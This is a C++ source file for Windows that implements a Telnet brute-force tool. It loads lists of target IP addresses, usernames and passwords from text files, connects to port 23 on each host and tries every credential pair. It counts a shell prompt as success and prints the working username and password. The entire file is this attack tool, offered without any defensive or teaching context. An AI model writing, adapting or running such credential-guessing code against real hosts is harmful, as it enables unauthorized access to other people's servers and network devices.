#include <cstdlib>
#include <cstdio>
#include <winsock2.h>
#include <string>
#include <vector>
#include <iostream>
#include <fstream>

//#define _DEBUG_
using namespace std;

const unsigned short usTelnetPort = 23;

const char szIpAddressFile[] = "ip.txt";
const char szUsernameFile[] = "usernames.txt";
const char szPasswordFile[] = "passwords.txt";




void LoadListFromFile( ifstream& Reader, vector<string>& vList )
{
  string sTemp;
  while( Reader.good() && (!Reader.eof()) )
    {
        Reader>>sTemp;
        vList.push_back(sTemp);
    }
}




#ifdef _DEBUG_
void DisplayList( vector<string>& vList )
{
    vector<string>::iterator vIter;
    for( vIter = vList.begin(); vIter != vList.end(); ++vIter )
    {
      cout<<*vIter<<endl;
    }
}
#endif





bool Login( SOCKET sSock, const sockaddr_in& ConnInfo, const string sUsername, vector<string>& vPasswords, string& sPassword )
{
    vector<string>::iterator vPasswordIter;
    bool bSuccess = false;


    for( vPasswordIter = vPasswords.begin(); vPasswordIter != vPasswords.end(); ++vPasswordIter )
    {
        // Send Username and Password
        string sCredentials = sUsername+"\r\n"+(*vPasswordIter)+"\r\n";
        send(sSock,sCredentials.c_str(),sCredentials.length(),0);


        unsigned int uiTotalBytesReceived = 0;
        int iBytesReceived = 0;
        const BYTE bIAC = 0xFF;
        string sBuffer;
        BYTE bValue = 0;
        unsigned short usSuccessiveDisconnects = 0;

        bool bIAC_Received = false;
        bool bOperation_Received = false;
        bool bConnected = false;

         while( true )
               {
                    iBytesReceived = recv(sSock,(char*)&bValue,1,0);
                    if( iBytesReceived == SOCKET_ERROR ) break;

                    else if( iBytesReceived == 0 ) // Remote Party closed connection
                    {
                      ++usSuccessiveDisconnects;
                      if( (usSuccessiveDisconnects == 2) ||
                           ((bConnected = !connect(sSock,(sockaddr*)&ConnInfo,sizeof(ConnInfo))) == false)
                           ) break;
                    }

                    else uiTotalBytesReceived += iBytesReceived;


                   usSuccessiveDisconnects = 0;

                   if( bOperation_Received  ) {  bOperation_Received = false; continue; }
                   else if( bValue == bIAC ) bIAC_Received = true;
                   else if ( bValue > 0x80 ){  if( bIAC_Received ){ bOperation_Received = true; bIAC_Received = false; } }
                   else if( bValue < 0x80 )
                    {
                         if( (bValue > 96) && (bValue < 123) ) bValue -= 32;
                         sBuffer += bValue;

                         if( sBuffer.find("FAIL") != string::npos )  { bSuccess = false; break; }
                         if( (sBuffer.find(">") != string::npos) || (sBuffer.find("#") != string::npos) ) { bSuccess = true; break; }

                     }


               }

        if( usSuccessiveDisconnects == 2 ) break;
        if( bSuccess ) { sPassword = *vPasswordIter; break; }


    }

    return bSuccess;
}









int main(int argc, char *argv[])
{

    WSADATA wsaData;
    WSAStartup(MAKEWORD(2,0),&wsaData);


    /*************************************************************************/
    /*             Load Lists of Ip Addresses,Usernames,Passwords            */
    /*************************************************************************/

    vector<string> vIpAddresses;
    vector<string> vUsernames;
    vector<string> vPasswords;


    ifstream  IpAddressFileReader(szIpAddressFile,ifstream::in);
    ifstream  UsernameFileReader(szUsernameFile,ifstream::in);
    ifstream  PasswordFileReader(szPasswordFile,ifstream::in);


    if( !(IpAddressFileReader.good() && UsernameFileReader.good() && PasswordFileReader.good())  )
     {
        cout<<"Failed to open file!\n\n";
        exit(1);
     };

    LoadListFromFile( IpAddressFileReader,vIpAddresses );
    LoadListFromFile( UsernameFileReader, vUsernames );
    LoadListFromFile( PasswordFileReader, vPasswords );


    IpAddressFileReader.close();
    UsernameFileReader.close();
    PasswordFileReader.close();

    #ifdef _DEBUG_
    DisplayList(vIpAddresses);
    DisplayList(vUsernames);
    DisplayList(vPasswords);
    #endif


    /**************************************************************************/






    sockaddr_in ConnInfo;
    ConnInfo.sin_family = AF_INET;
    ConnInfo.sin_port = htons(usTelnetPort);

    bool bSocketInvalidated = true;
    SOCKET sConnSock;

    vector<string>::iterator vIpAddressIter;
    vector<string>::iterator vUsernameIter;

    for( vIpAddressIter = vIpAddresses.begin(); vIpAddressIter != vIpAddresses.end(); ++vIpAddressIter )
    {
        ConnInfo.sin_addr.s_addr = inet_addr( vIpAddressIter->c_str() );
        bool bSuccessfulLogin = false;
        if( bSocketInvalidated )  sConnSock = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);

        bool bConnected = !connect( sConnSock,(sockaddr*)&ConnInfo,sizeof(sockaddr_in) );
        if( !bConnected ) { cout<<"Failed to connect to: "<<*vIpAddressIter<<endl; continue; }
        cout<<"Connected to: "<<*vIpAddressIter<<endl;

        for( vUsernameIter = vUsernames.begin(); vUsernameIter != vUsernames.end(); ++vUsernameIter )
        {
            string sPassword;
            bSuccessfulLogin = Login( sConnSock, ConnInfo,*vUsernameIter,vPasswords, sPassword );
            if( bSuccessfulLogin ) { cout<<"Username: "<<*vUsernameIter<<endl<<"Password: "<<sPassword<<endl<<endl; break;}
        }

        if( !bSuccessfulLogin ) cout<<"Failed to gain access!\n\n";

        closesocket( sConnSock );
        bSocketInvalidated = true;

    }







    WSACleanup();
    system("pause");
}